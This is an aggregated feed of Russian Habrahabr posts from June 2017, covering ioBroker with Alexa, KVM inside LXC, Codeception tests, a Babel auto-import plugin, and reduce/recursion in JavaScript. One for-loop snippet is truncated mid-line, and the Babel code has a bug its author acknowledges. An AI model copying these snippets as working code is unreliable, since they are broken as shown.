-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Amazon Alexa Skill Smart Home c Open Source платформой для Домашней Автоматизации ioBroker

Четверг, 01 Июня 2017 г. 23:36 + в цитатник
Сначала немного о том, что же такое ioBroker?

И о том, кто же является разработчиком ioBroker?


ioBroker это OpenSource проект, который разрабатывается сообществом специалистов информатиков. Каждый, кто интересуется темой Smart Home может присоединиться к проекту и под лицензией MIT на Github начать разрабатывать приложения. Дополнительно имеется обширный форум для конечных пользователей, в котором активно обсуждаются новые идеи, проблемы и пожелания клиентов. Опытные разработчики, некоторые из которых имеют 17 лет опыта работы в промышленной автоматизации на ведущих немецких фирмах консультируют по вопросам автоматизации дома, и её внедрения. Проверенные и отработанные идеи размещаются на так называемом Trello-Whiteboard, это доска с текущими, актуальными заданиями, таким образом любой может на неё заглянуть и быть в курсе происходящего.



Техническая реализация платформы ioBroker

ioBroker полностью разработан на Node.js, интуитивно понятный, гибко подстраивающийся под новые условия, очень легко дополняемый и расширяемый. Каждый, кто владеет JavaScript, может заниматься расширением возможностей системы ioBroker.
Посредством адаптеров ioBroker может общаться с большим количеством разных систем из области Умный Дом (например Homematic, KNX, FS20) и Home Entertainment(развлечения) (z.B. Sonos, Dreambox, AV-Receiver и SmartTV). Кроме того встроена возможность обмена данными с различными интернет-сервисами Webservices (например weatherunderground.com) и разнообразными базами данных (например MySQL, InfluxDB oder Graphite).

Установка операционной системы и железа Hardware

ioBroker работает на всём оборудовании и всех операционных системах, на которых можно запустить Node.js (ARM, x86, Windows, Linux, OSX). При этом не имеет значения какой “компьютер” вы используете Raspberry, Windows-Server, Synology-NAS или MacOS. Так как ioBroker для каждого нового драйвера запускает новый Node.js- процесс, то оперативная память становится ограничивающим фактором. Для каждого отдельного драйвера требуется примерно 10-60 Мб, в зависимости от сложности. Итак, каждый пользователь, даже не являясь профессионалом может применять систему ioBroker. Те, кто не хочет связываться с Linux, могут вместо него запросто использовать Windows.
Еще одно незаменимое преимущество, это создание системы из нескольких серверов, работающих, как одно целое (Multihost). Например, если со временем, пользователь расширит свою систему домашней автоматизации и его Raspberry станет работать очень медленно, он может просто инсталлировать вторую Raspberry, чтобы распределить между ними текущие задания. Самая сильная отличительная черта ioBroker возможность визуализации. Посредством Drag & Drop можно разрабатывать сложные и красивые изображения-визуализации для дома.

youtu.be/nCjFuV5oR_Q



Первый запуск ioBroker

Те, кто впервые запускают ioBroker, сначала пугаются сколько возможностей и драйверов имеется у этой системы. Разработчики ioBroker создали помощника поиска устройств и сервисов — Wizard. С помощью Wizard можно автоматически распознавать и подключать большое количество стандартных приборов от совершенно разных производителей.


Видео для большей наглядности:

youtu.be/OmpFRHG755M

Какие драйвера уже имеются для ioBroker?

Освещение, лампы: Philips Hue, Osram Lightify
Развлечение, телевидение, музыка: Samsung TV, LG TV, Sonos, Logitech Harmony, Onkyo, Squeezebox, Yamaha
Голосовое управление: Apple Homekit, Alexa
Домашнее оборудование, пылесосы, газонокосилки, принтеры: Botvac Saugroboter, Worx Landroid Rasenm"aher, Epson Drucker, Amazon-Dash Button, Xiaomi Vacuum Cleaner
Сервисы календарь от гугла, прогноз погоды, емейл: Feiertage, Kalender (z.B. Google Calendar), Deutscher Wetterdienst (предупреждения), E-Mail-Versand
Smart Home системы различных производителей: Netatmo, Homematic, innogy SmartHome
Прочие адаптеры: DMX512 устройства Art-Net, B-Control Energy Manager, FS20, Max!, Chromecast, HMS, EM1000WZ,), FHEM, Foobar 2000, Fritzbox, Fronius конвертер, KNX, Buderus KM200, KODI, Mega-D, Modbus, MqTT, MPD Protocol, nooLite, разные UPS/USV, Pushover, Pushsaver, Pushbullet, RFLink, TR-064,…

И напоследок самое интересное.

ioBroker также работает с Amazon Alexa

Для тех, кто владеет самыми азами английского или немецкого языка, мы написали сертифицированный компанией Амазон адаптер ioBroker-Skill, который позволяет голосом через Amazon Alexa управлять устройствами в доме. Настройка проходит в несколько шагов:

  • Создаётся account ioBroker-Cloud-Account и генерируется App-ID
  • Устанавливается и конфигурируется адаптер Cloud-Adapter
  • ioBroker-Skill активируется в самой Alexa
  • Затем ioBroker-Skill соединяется с ioBroker-Cloud
  • Дальнейшую подробную информацию можно прочитать в инструкции или на форуме.


youtu.be/i5WZFClqksc

alexa.amazon.de/spa/index.html#skills/dp/B01MRXCC3J

Видео:
youtu.be/bTS6J2EkOYQ
youtu.be/i5WZFClqksc

Спасибо за внимание, буду готовить новую статью
Какую систему автоматизации вы используете у себя дома?

Проголосовал 1 человек. Воздержавшихся нет.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330026/


QEMU-KVM под LXC

Четверг, 01 Июня 2017 г. 20:29 + в цитатник
Как обычно — обстоятельства диктуют правила.
На этот раз мы ставим Proxmox и Libvirt на один тот же сервер.

image

Столкнулись с очередной задачей — заказчик поставил условие развернуть стенд на уже имеющейся, конфликтующей инфраструктуре. У него кластер Proxmox, у нас Libvirt

Решение в лоб — не помогло, попытка установить libvirtd потребовала удаления proxmox. Не долго думая решили скреативить. Смотрите под катом элегантное решение как и на ёлку залезть и ничего не ободрать.

Коротко о нас — команда разработчиков WriteX Team. Работаем с Linux с 2000го года под дивизор — нет ничего невозможного для Linux. Сказано — сделано. пошли думать. Варианты развития: скомпилировать libvirt либо уйти в контейнер. Гугл как обычно помог, нашел очень полезную статью: vasilisc.com/lxc-1-0-security-features и смотрим, что в принципе можно подарить контейнеру любое устройство. Смотрим (без разрешения автора, но не убирая ссылок немного копипаста):

Большинство LXC шаблонов устанавливает только несколько записей

# Default cgroup limits
lxc.cgroup.devices.deny = a
## Allow any mknod (but not using the node)
lxc.cgroup.devices.allow = c *:* m
lxc.cgroup.devices.allow = b *:* m
## /dev/null and zero
lxc.cgroup.devices.allow = c 1:3 rwm
lxc.cgroup.devices.allow = c 1:5 rwm
## consoles
lxc.cgroup.devices.allow = c 5:0 rwm
lxc.cgroup.devices.allow = c 5:1 rwm
## /dev/{,u}random
lxc.cgroup.devices.allow = c 1:8 rwm
lxc.cgroup.devices.allow = c 1:9 rwm
## /dev/pts/*
lxc.cgroup.devices.allow = c 5:2 rwm
lxc.cgroup.devices.allow = c 136:* rwm
## rtc
lxc.cgroup.devices.allow = c 254:0 rm
## fuse
lxc.cgroup.devices.allow = c 10:229 rwm
## tun
lxc.cgroup.devices.allow = c 10:200 rwm
## full
lxc.cgroup.devices.allow = c 1:7 rwm
## hpet
lxc.cgroup.devices.allow = c 10:228 rwm
## kvm
lxc.cgroup.devices.allow = c 10:232 rwm


смотрим, коды устройств на dom0,
# ls -lah /dev/kvm
crw-rw-rw- 1 root kvm 10, 232 Июн 1 11:55 /dev/kvm


и далее, разрешаем все нужные нам устройства и создаем их в контейнере:

mknod /dev/net/tun c 10 200
mknod /dev/kvm c 10 232


запускаем систему и ставим всё что нам необходимо в нашем контейнере — не нарушив ничего у заказчика. По моему — круто!

Готовы ловить помидоры, но только после полного осознания глубины креатива ;-)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330016/


Метки:  

Тестирование с Сodeception для чайников: 3 вида тестов

Четверг, 01 Июня 2017 г. 20:07 + в цитатник

Целью данной статьи я ставил показать людям, не знакомым с тестированием, как можно действительно быстро начать тестировать, собрав все в одном месте с минимумом воды и на русском языке. Пусть это будет весьма примитивно. Пусть не очень интересно людям, которые уже живут по TDD, SOLID и другим принципам. Но дочитав до конца, любой желающий сможет сделать свой первый уверенный шаг в мир тестирования.


Мы рассмотрим приемочные (Acceptance), функциональные (Functional) и юнит-тесты или модульные тесты (Unit-Tests).



Также, на эту статью, подтолкнуло то, что много статей, с названием "Codeception", на самом деле — это просто 1 acceptace тест.
PS: Предупреждаю сразу, что я не профи и могу допускать ошибки во всем.

Установка Composer & Codeception


Если вас ставят в тупик фразы


$ composer require "codeception/codeception:*"
$ alias cept="./vendor/bin/codecept"

, то под катом я расскажу более подробно. Либо - идем дальше.

Для начала работы нам нужен замечательный инструмент Composer. В большинстве проектов он уже будет установлен. Но установить его — также не является проблемой. Все варианты перечислены на его официальной странице: https://getcomposer.org/download/ Наиболее банальным и простым способом является прокрутить вниз страницы и просто скачать *.phar файл в корень вашего проекта.


Лучшие практики вам обязательно скажут, что так делать — плохо. Необходимо разместить его в /etc/bin, дать права на выполнение и переименовать в composer. Прислушайтесь к ним, когда дочитаете статью до конца.


Второй шаг в настройке Composer, а также очень частый ответ, что делать, когда Композер сломался: обновить/установить FXP-плагин. Он "живет" по адресу: https://packagist.org/packages/fxp/composer-asset-plugin И устанавливается часто командой:
$ php composer.phar global require "fxp/composer-asset-plugin:~1.3.1"
Обратите внимание, что версию надо вписывать ту, которая будет отображена на сайте в момент прочтения этой статьи.


Финальная настройка перед началом работы — установить себе Codeception, с помощью Composer:
$ php composer.phar require "codeception/codeception:*"


После чего исполняемый файл Codeception доступен для нас в подкаталоге ./vendor/bin/codecept для Linux и ./vendor/bin/codecept.bat для Windows. Набирать это перед каждым запуском долго. Поэтому делаем сокращения:
Для Linux: $ alias cept="./vendor/bin/codecept"
Для Windows в корне проекта (откуда будем запускать тесты) создаем новый bat-файл: cept.bat


@echo off
@setlocal
set CODECEPT_PATH=vendor/bin/
"%CODECEPT_PATH%codecept.bat" %*
@endlocal

После чего команда cept, в консоли, должна вернуть help-страницу по Codeception. А если вам хочется запускать cept.bat из любого каталога — посмотрите в сторону директивы PATH.


И пару подсказок на эту тему:
Удаление пакета из композера: $ php composer.phar remove codeception/codeception
Если Вы столкнетесь с проблемой: "Fatal error: Allowed memory size of 12345678 bytes exhausted". Composer тут же подскажет ссылку, на которой будет написан немного модифицированный вызов: $ php -d memory_limit=-1 composer.phar {ваша_команда}


Создание первого теста: приемочный или Acceptance


Сейчас мы в шаге от своего первого теста. Проверим банально, что у нашего сайта открывается главная страница и страница About. Что они возвращают корректный код ответа "200" и содержат ключевые слова.
Собственно — это и есть суть приемочных тестов: проверить то, что доступно человеку, далекому от программирования: просмотр содержимого страницы, попытка залогиниться и т.д.
$ cept bootstrap — делаем разовую инициализацию, после первой установки
$ cept generate:cept acceptance SmokeTest — создаем первый тестовый сценарий
Открываем tests/acceptance/SmokeTestCept.php и дописываем к имеющимся двум строчкам new AcceptanceTester и wantТo свои. На выходе у нас должно получится:


$I = new AcceptanceTester($scenario);
$I->wantTo('Check that MainPage and About are work');
$I->amOnPage('/');
$I->seeResponseCodeIs(\Codeception\Util\HttpCode::OK);
$I->see('Главная блога'); // ! Тут часть фразы с вашей главной
$I->amOnPage('/about');
$I->seeResponseCodeIs(\Codeception\Util\HttpCode::OK);
$I->see('Обо мне'); // ! Тут часть фразы с вашей страницы about

Как Вы понимаете: запускать рано. Вы получите сообщение о том, что тест не пройден. Т.к. он не совсем в курсе, у какого сайта надо открыть главную страницу. Правим секцию modules.config.PhpBrowser.url в файле tests/acceptance.suite.yml. Например у меня там получилось: url: http://rh.dev/
Также в коде теста, сразу глаза бросается дубляж. Его можно отрефакторить, добавив новый метод в класс tests/_support/AcceptanceTester.php. Либо отнаследовавшись от него — создать себе собственный и добавить метод туда. Но это уже другой разговор не про тесты.


Итак, жмем следующие команды:
$ cept build — после внесения правок в файлы конфигурации всегда необходима пересборка
$ cept run acceptance — запускаем тест на выполнение
Вы должны получить сообщение: OK (1 test, 4 assertion)


Собственно — всё!
Вы создали первый тест, который за Вас может проверить адекватность страниц по всему сайту. Что особенно полезно, когда этих страниц становится много, а шеф хочет с каждым разом накатывать все быстрее и быстрее. Не забывая раздавать нагоняи, что на сайте что-то сломалось.
В дальнейшем вы можете проверять также формы, аяксы, REST, JavaScript через Selenium и разные другие вещи.


Создание первого теста: функциональные или Functional


Сразу важная цитата из документации: "В случае, если Вы не используете фреймворки, практически нет смысла в написании функциональных тестов."
Для данного рода тестов Вам необходим любой фреймворк из поддерживаемых Codeception: Yii1/2, ZF, Symfony и т.д. Это касается только функциональных тестов.
К сожалению не смог найти конкретную ссылку со списком того, что поддерживается.

Функциональные тесты немного сходны с приемочными. Но в отличие от последних — не требуется запускать веб-сервер: мы вызываем наш framework, с эмуляцией переменных запроса (get, post).
Официальная документация рекомендует тестировать нестабильные части приложения с помощью функциональных тестов, а стабильные с помощью приемочных. Это обусловлено тем, что функциональные тесты не требуют использования веб сервера и порой, могут предложить более подробный отладочный вывод.


Первое, с чего нам надо начать: правим файл конфигурации в tests/functional.suite.yml, указав в нем модуль своего фреймворка, вместо фразы "# add a framework module here". А все тонкости настройки — придется прочесть в официальной документации.
Я покажу на примере не шаблонного Yii2 (если у вас установлен шаблон Basic или Advanced, то вверху этой страницы есть описание и такого варианта): http://codeception.com/for/yii#Manual-Setup--Configuration


Посмотреть шаги
  1. В файле tests/_bootstrap.php добавляем константу: defined('YII_ENV') or define('YII_ENV', 'test');. Если файла нет — создаем и добавляем в корневой codeception.yml settings.bootstrap:_bootstrap.php. Такие файлы необходимо будет вкладывать во все папки с тестами. Если забудете — Codeception вам об этом напомнит.
  2. В папке config yii-приложения, рядом с main.php кладем test.php, который заполняем из мануала
  3. Экспертным путем обнаружил, что модуль не видит мои vendors и испытывает проблемы с пониманием, где он находится в файловой системе. Поэтому дополнил test.php еще парой строк:
    require_once(__DIR__ . '/../../../vendor/autoload.php');
    require_once(__DIR__ . '/../../../vendor/yiisoft/yii2/Yii.php');
    require_once(__DIR__ . '/../../../common/config/bootstrap.php');
    // @approot - мой собственный алиас. + штатные еще не доступны в этом месте
    $_SERVER['SCRIPT_FILENAME'] = realpath(Yii::getAlias('@approot/web/index.php'));
    $_SERVER['SCRIPT_NAME'] = '/'.basename($_SERVER['SCRIPT_FILENAME']);

$ cept generate:cept functional myFirstFunctional — создаем первый тестовый сценарий
Созданный файл tests/functional/myFirstFunctionalCept.php заполняем сходно с прошлым файлом теста. С одним лишь отличием в первой строке:
$I = new FunctionalTester($scenario);


И дальше по пройденному выше материалу:
$ cept build — после внесения правок в файлы конфигурации всегда необходима пересборка
$ cept run functional — запускаем тест на выполнение
Вы должны получить сообщение: OK (1 test, 4 assertion)


Создание первого теста: юнит-тесты или Unit-Tets


Если предыдущие тесты смотрели на ваше приложение в целом: от точки входа, до точки выхода. То модульные тесты — помогают разложить все по полочкам, дав возможность тестировать каждый кирпичик, ака модуль, приложения.


Что тестировать и на сколько углубленно — на хабре довольно много статей. В каких-то ситуациях вам скажут, что обязательно тестировать полностью все методы и классы. В иных — разговор будет немного иным. Например, мне бросилась в глаза эта статья: Трагедия стопроцентного покрытия кода


У себя я протестирую класс, который работает по патерну ActiveRecord: загружу данные из массива и запущу валидацию. Если впоследствии добавится какое-либо обязательное поле и, как везде водится, про это все забудут: тест сразу выскажет свое возражение.
Вторым этапом я буду тестировать один из своих хелперов. Идея больше показательная, чем полезная.
Начало уже привычно:
tests/unit.suite.yml — правим согласно своего фреймворка(если вы его используете).
$ cept build — после внесения правок в файлы конфигурации всегда необходима пересборка.
$ cept generate:test unit SmokeUnit — создаем пустышку, для будущего теста.


Полный листинг моего теста

https://habrahabr.ru/post/329418/


[Из песочницы] Пишем плагин для Babel

Четверг, 01 Июня 2017 г. 19:30 + в цитатник
Модульность прочно обосновалась в мире javascript. Однако, при всех плюсах, писать в каждом файле одни и те же импорты — утомляет. А что, если убрать подключение часто используемых модулей в сборщик, а в коде использовать их как глобальные переменные? Выглядит, как задача для babel-плагина. Что же, давайте вместе напишем такой плагин, попутно разбираясь, как работает babel.


Начнём со “скелета”. Плагин представляет собой функцию, которая возвращает объект с посетителями (visitors). Аргументом в неё передаётся объект с модулями из babel-core. В дальнейшем нам понадобится модуль babel-types.

export default function({types: t}) {
    return {
        visitor: {}
    };
}

Посетитель — это метод объекта visitor, имя которого соответствует типу узла абстрактного синтаксического дерева (АСД), например, FunctionDeclaration или StringLiteral (полный список), в который передаётся путь (path) к узлу. Нас интересуют узлы типа Identifier.

export default function({types: t}) {
    return {
        visitor: {
            Identifier(path, {opts: options}) {

            }
        }
    };
}

Также, у посетителя есть доступ к настройкам плагина в свойстве .opts второго аргумента. Через них мы будем передавать имена переменных и пути к модулям, для которых будет создаваться импорт. Это будет выглядеть так:

.babelrc
{
    plugins: [[
        "babel-plugin-auto-import",
        { declarations: [{name: "React", path: "react"}] }
    ]]
}

Обход АСД. Пути. Узлы


Babel принимает на вход некоторый код (в виде строки), который разбивается на токены, из которых строится АСД. Затем плагины изменяют АСД, и из него генерируется новый код, который и подаётся на выход. Для манипуляций с АСД, плагины используют пути. Также через пути можно проверить, какой тип узла представляет этот путь. Для этого есть методы формата .["is" + тип узла](). Например, path.isIdentifier(). Путь может искать среди дочерних путей, используя метод .find(callback), и среди родительских путей, используя метод .findParent(callback). В свойстве .parentPath хранится ссылка на родительский путь.

Приступим к написанию самого плагина. И в первую очередь нужно отфильтровать идентификаторы. Тип Identifier широко используется в различных типах узлов. Нам нужны только некоторые из них. Предположим, что у нас есть такой код:

React.Component

АСД для этого кода выглядит так:

{
    type: "MemberExpression",
    object: {
        type: "Identifier",
        name: "React"
    },
    property: {
        type: "Identifier",
        name: "Component"
    },
    computed: false
}

Узел — это объект со свойством .type и некоторыми другими, специфическими для каждого типа, свойствами. Рассмотрим корневой узел — MemberExpression. У него есть три свойства. Object — это выражение слева от точки. В данном случае — это идентификатор. Свойство computed указывает, будет ли справа идентификатор или некоторое выражение, например x["a" + b]. Property — собственно, то, что справа от точки.

Если сейчас запустить наш плагин-каркас, то метод Identifier будет вызван два раза: для идентификаторов React и Component соответственно. Плагин должен обработать идентификатор React, но пропустить идентификатор Component. Для этого путь идентификатора должен получить родительский путь и, если это узел типа MemberExpression, проверить, является ли идентификатор свойством .object у MemberExpression. Вынесем проверку в отдельную функцию:

export default function({types: t}) {
    return {
        visitor: {
            Identifier(path, {opts: options}) {
                if (!isCorrectIdentifier(path))
                    return;
            }
        }
    };

    function isCorrectIdentifier(path) {
        let {parentPath} = path;

        if (parentPath.isMemberExpression() && parentPath.get("object") == path)
            return true;
    }
}

В финальной версии таких проверок будет много — для каждого случая своя проверка. Но все они работают по одному и тому же принципу.

Полный список
function isCorrectIdentifier(path) {
    let {parentPath} = path;

    if (parentPath.isArrayExpression())
        return true;
    else
    if (parentPath.isArrowFunctionExpression())
        return true;
    else
    if (parentPath.isAssignmentExpression() && parentPath.get("right") == path)
        return true;
    else
    if (parentPath.isAwaitExpression())
        return true;
    else
    if (parentPath.isBinaryExpression())
        return true;
    else
    if (parentPath.bindExpression && parentPath.bindExpression())
        return true;
    else
    if (parentPath.isCallExpression())
        return true;
    else
    if (parentPath.isClassDeclaration() && parentPath.get("superClass") == path)
        return true;
    else
    if (parentPath.isClassExpression() && parentPath.get("superClass") == path)
        return true;
    else
    if (parentPath.isConditionalExpression())
        return true;
    else
    if (parentPath.isDecorator())
        return true;
    else
    if (parentPath.isDoWhileStatement())
        return true;
    else
    if (parentPath.isExpressionStatement())
        return true;
    else
    if (parentPath.isExportDefaultDeclaration())
        return true;
    else
    if (parentPath.isForInStatement())
        return true;
    else
    if (parentPath.isForStatement())
        return true;
    else
    if (parentPath.isIfStatement())
        return true;
    else
    if (parentPath.isLogicalExpression())
        return true;
    else
    if (parentPath.isMemberExpression() && parentPath.get("object") == path)
        return true;
    else
    if (parentPath.isNewExpression())
        return true;
    else
    if (parentPath.isObjectProperty() && parentPath.get("value") == path)
        return !parentPath.node.shorthand;
    else
    if (parentPath.isReturnStatement())
        return true;
    else
    if (parentPath.isSpreadElement())
        return true;
    else
    if (parentPath.isSwitchStatement())
        return true;
    else
    if (parentPath.isTaggedTemplateExpression())
        return true;
    else
    if (parentPath.isThrowStatement())
        return true;
    else
    if (parentPath.isUnaryExpression())
        return true;
    else
    if (parentPath.isVariableDeclarator() && parentPath.get("init") == path)
        return true;

    return false;
}


Область видимости переменных


Следующим шагом необходимо проверить, объявлен ли наш идентификатор как локальная переменная или является глобальной. Для это в путях есть одно полезное свойство — scope. С его помощью мы переберем все области видимости, начиная с текущей. Переменные текущей области видимости находятся в свойстве .bindings. Ссылка на родительскую область видимости — в свойстве .parent. Осталось рекурсивно пройтись по всем переменным всех областей видимости и проверить, встречается ли там наш идентификатор.

export default function({types: t}) {
    return {
        visitor: {
            Identifier(path, {opts: options}) {
                if (!isCorrectIdentifier(path))
                    return;

                let {node: identifier, scope} = path;

                if (isDefined(identifier, scope))
                    return;
            }
        }
    };

    // ...

    function isDefined(identifier, {bindings, parent}) {
        let variables = Object.keys(bindings);

        if (variables.some(has, identifier))
            return true;

        return parent ? isDefined(identifier, parent) : false;
    }

    function has(identifier) {
        let {name} = this;

        return identifier == name;
    }
}

Отлично! Теперь мы уверены, что с идентификатором можно работать. Возьмём из options объявления “глобальных” переменных и обработаем их:

let {declarations} = options;

declarations.some(declaration => {
    if (declaration.name == identifier.name) {
        let program = path.findParent(path => path.isProgram());

        insertImport(program, declaration);

        return true;
    }
});

Модификация АСД


И вот мы дошли до изменения АСД. Но прежде чем начинать вставлять новые импорты, получим все существующие. Для этого мы используем метод .reduce, чтобы получить массив с путями типа ImportDeclaration:

function insertImport(program, { name, path }) {
    let programBody = program.get("body");

    let currentImportDeclarations =
        programBody.reduce(currentPath => {
            if (currentPath.isImportDeclaration())
                list.push(currentPath);

            return list;
        }, []);
}

Теперь проверим, не подключен ли уже наш идентификатор:

let importDidAppend =
    currentImportDeclarations.some(({node: importDeclaration}) => {
        if (importDeclaration.source.value == path) {
            return importDeclaration.specifiers.some(specifier => specifier.local.name == name);
        }
    });

Если модуль не подключен — создадим новый узел импорта и вставим его в программу.

Для создания узлов используется модуль babel-types. Ссылка на него есть в переменной t. Для каждого из узлов есть свой метод. Нам нужно создать importDeclaration. Смотрим документацию и видим, что для создания импорта требуются спецификаторы (т.е. имена импортируемых переменных) и путь к модулю.

Сначала создадим спецификатор. Наш плагин подключает модули как экспортируемые по умолчанию (export default ...). Затем создадим узел с путём к модулю. Это простая строка типа StringLiteral.

let specifier = t.importDefaultSpecifier(t.identifier(name));
let pathToModule = t.stringLiteral(path);

Что ж, у нас есть всё, чтобы создать импорт:

let importDeclaration = t.importDeclaration([specifier], pathToModule);

Осталось вставить узел в АСД. Для этого нам понадобится путь. Путь можно заменить узлом, используя метод .replaceWith(node), или массивом узлов, используя метод .replaceWithMultiple([...nodes]). Можно удалить методом .remove(). Для вставки используются методы .insertBefore(node) и .insertAfter(node), чтобы вставить узел перед или после пути соответственно.

В нашем случае, импорт нужно вставить в так называемый контейнер. У узла program есть свойство .body, в котором находится массив выражений, представляющих программу. Для вставки узлов в такие массивы-”контейнеры”, у путей есть специальные методы pushContainer и unshiftContainer. Воспользуемся последним:

program.unshiftContainer("body", importNode);

Плагин готов. Мы познакомились с основными API Babel, рассмотрели принципы устройства и работы плагинов. Сделанный нами плагин — упрощенная версия, которая работает некорректно. Но с полученными знаниями можно легко прочитать полный код плагина. Надеюсь статья была интересной, а полученный опыт — полезным. Все спасибо!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330018/


Метки:  

[Из песочницы] Понимание Array.prototype.reduce() и рекурсии на примере яблочного пирога

Четверг, 01 Июня 2017 г. 17:25 + в цитатник
У меня были проблемы с пониманием reduce( ) и рекурсии в JavaScript, так что я написал эту статью чтобы объяснить их в первую очередь себе (эй, смотрите, это же рекурсия!). Эти концепции имеют некоторые сходства с приготовление яблочного пирога. Я очень надеюсь вы сочтёте мои примеры как полезными так и аппетитными.
image

Дан массив содержащий вложенныу массивы:

var arr = [1, [2], [3, [[4]]]]

Как результат мы хотим получить:

var flat = [1, 2, 3, 4]

Использование цикла for и оператора if.


Если мы знаем максимальное количество вложенных массивов, с которыми нам предстоит работать (в примере их 4), то нам вполне подойдёт цикл for для итерации по каждому элементу массива, а затем оператор if, чтобы проверить является ли этот элемент самим массивом, и так далее…

function flatten() {
    var flat = [];
    for (var i=0; i/ [1, 2, 3, 4]

Что в принципе работает, но тяжело как для чтения, так и для понимания. Более того это работает только в случае, когда известно количество вложенных массивов. И вы вообще можете вообразить каково дебажить весь это бардак (даже сейчас кажется что я где-то лишнее i поставил).

Использование reduce.


К счастью у JavaScript есть пару методов для того чтобы сделать наш код понятнее и проще. Один из таких методов reduce( ). И выглядеть это всё будет вот так:

var flat = arr.reduce(function(done,curr){
    return done.concat(curr);
}, []);

// [ 1, 2, 3, [ [ 4 ] ] ] 

Получилось куда меньше кода, но мы пропускаем некоторые (в нашем примере один) вложенные массивы. Давайте вместе пошагово разберём как работает reduce ( ) и посмотрим что же он всё-таки делает, чтобы исправить это.

Array.prototype.reduce()

Метод reduce() применяет функцию к аккумулятору и каждому значению массива (слева-направо), сводя его к одному значению. (MDN)

Это не так сложно, как кажется. Давайте поговорим о reduce ( ) как о чём-то вне работы разработчика. Знакомьтесь, это Адам. Основная функция Адама состоит в том, чтобы взять яблоки из кучи, помыть их, а затем поместить одно за другим в корзину. Эта корзина блестящих яблок предназначена для того, чтобы стать вкусными яблочными пирогами. Это очень важная работа.
image
Яблоки + Человеческие усилия = Пирог. Не путайте формулу с рецептом яблоко-человеческого пирога, он не столь вкусны.

В приведённом выше примере куча яблок — это наш массив arr. Корзина — это переменная done, аккумулятор. Начальным значением done является пустой массив, который мы видим как [] последним параметром нашего reduce( ). Яблоко, которое Адам в данный момент моет — это curr (от current). Как только Адам заканчивает мыть текущее яблоко он кладёт его в корзину (мы делаем это с помощью .concat( ) ). Когда гора яблок заканчивается Адам отдаёт корзину с чистыми яблоками нам и идёт домой к своему коту.

Использование reduce( ) рекурсивно для обращения к вложенным массивам.


Ну что же, по итогу работы Адама мы имеем корзину чистых яблок и всё, вроде бы даже отлично. Но нам всё ещё нужно разобраться с этими вложенными массивами. Возвращаясь к нашей аналогии: предположим что некоторые яблоки были настолько хороши, что они упакованы в отдельные коробки ещё при продаже. Внутри каждой коробки могут быть ещё яблоки и ещё коробки, содержащие яблоки и коробки поменьше.

image
Прелестные, слегка перекошенные яблоки просто хотят быть любимыми / съеденными.

Вот что мы хотим от нашей яблоко-обрабатывающей функции/Адама:

  1. Если куча яблок это куча яблок, то возьми яблоко из кучи.
  2. Если то что ты взял — это яблоко, то мой его и клади в корзину.
  3. Если то что ты взял — коробка, то открой коробку. Если в коробке яблоко иди к шагу 2.
  4. Если же в коробке другая коробка, то иди к шагу 3.
  5. Когда от кучи яблок не осталось и следа отдай нам корзину.
  6. Если куча яблок совсем не куча яблок, то отдай это, чем бы они ни было.

Рекурсивная функция с reduce( ) будет выглядеть так:

function flatten(arr) {
  if (Array.isArray(arr)) {
  return arr.reduce(function(done,curr){
    return done.concat(flatten(curr));
    }, []);
  } else {
    return arr;
  }
}

// [ 1, 2, 3, 4 ]

Терпение и я всё объясню.

Рекурсия

Действия функции сопровождающееся вызовом самой себя. Рекурсия используется для решения проблем, которые содержат более мелкие проблемы. Рекурсивная функция, как правило, принимает два атрибуита: базовый регистр (конец рекурсии) или рекурсивный регистр (продолжается рекурсия). (MDN)

Если вы посмотрите на наш код выше, вы увидите, что flatten () появляется дважды. В первый раз, когда он появляется, он говорит Адаму, что делать с кучей яблок. Во второй раз он рассказывает ему, что делать с тем, что он сейчас держит, давая указания в случае, если это яблоко и в случае, если это не яблоко. Следует отметить, что эти инструкции являются повторением первоначальных инструкций, с которых мы начали — и это рекурсия.

Для ясности разберём всё строчка за строчкой:

  1. function flatten(arr) { — мы называем нашу общую функцию и указываем что она примет аргумент arr.
  2. if (Array.isArray(arr)) { — мы проверяем является ли полученное массивом.
  3. return arr.reduce(function(done,curr){ — если предыдущая строка возвращает true и аргумент является массивом вы передаём его в reduce ( ) — это наш рекурсивный регистр.
  4. return done.concat(flatten(curr)); — неожиданный поворот сюжета! Функция, которую мы вызываем — это та самая функция в которой мы находимся сейчас. Вкратце: начинайте заново с самого верха.
  5. }, []); — мы говорим нашей функции reduce начинать с пустого аккумулятора (done) и помещать то, что вернёт функция именно в него.
  6. } else { — это разрешает те случае когда строка 2 возвращает false, то есть когда аргумент не является массивом.
  7. return arr; — вернуть то, чему бы arr не было бы равно (предположительно чистому яблоку). Это уже на базовый регистр, который выводит нас из рекурсии.
  8. } — завершение блока else.
  9. } — завершение общей функции.

И мы закончили! Мы перешли от 24-строкового, 4-слойного-вложенного цикла for к более сжатому и лаконичному 9-строчному рекурсивному решению. Reduce и рекурсия могут поначалу показаться сложными для понимания, но это ценные инструменты которые в будущем сэкономят вам множество усилий как только вы их поймёте.

И не беспокойтесь об Адаме, нашем неработающем разработчике. Он получил так много внимания после этой статьи, что он открыл свою собственную фабрику яблочных пирогов, управляемую AI. Он очень доволен.
image
+1 вам, если ожидали шутку про Адамово Яблоко.



Данная статья рискует констатировать очевидные вещи. Но следует задать вопрос: «Очевидные для кого?».

Впервые делаю перевод статьи от того буду благодарен за любые правки, исправения и указание на недочёты.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330006/


Метки:  

Разбор заданий конкурса WAF Bypass на PHDays VII

Четверг, 01 Июня 2017 г. 17:20 + в цитатник
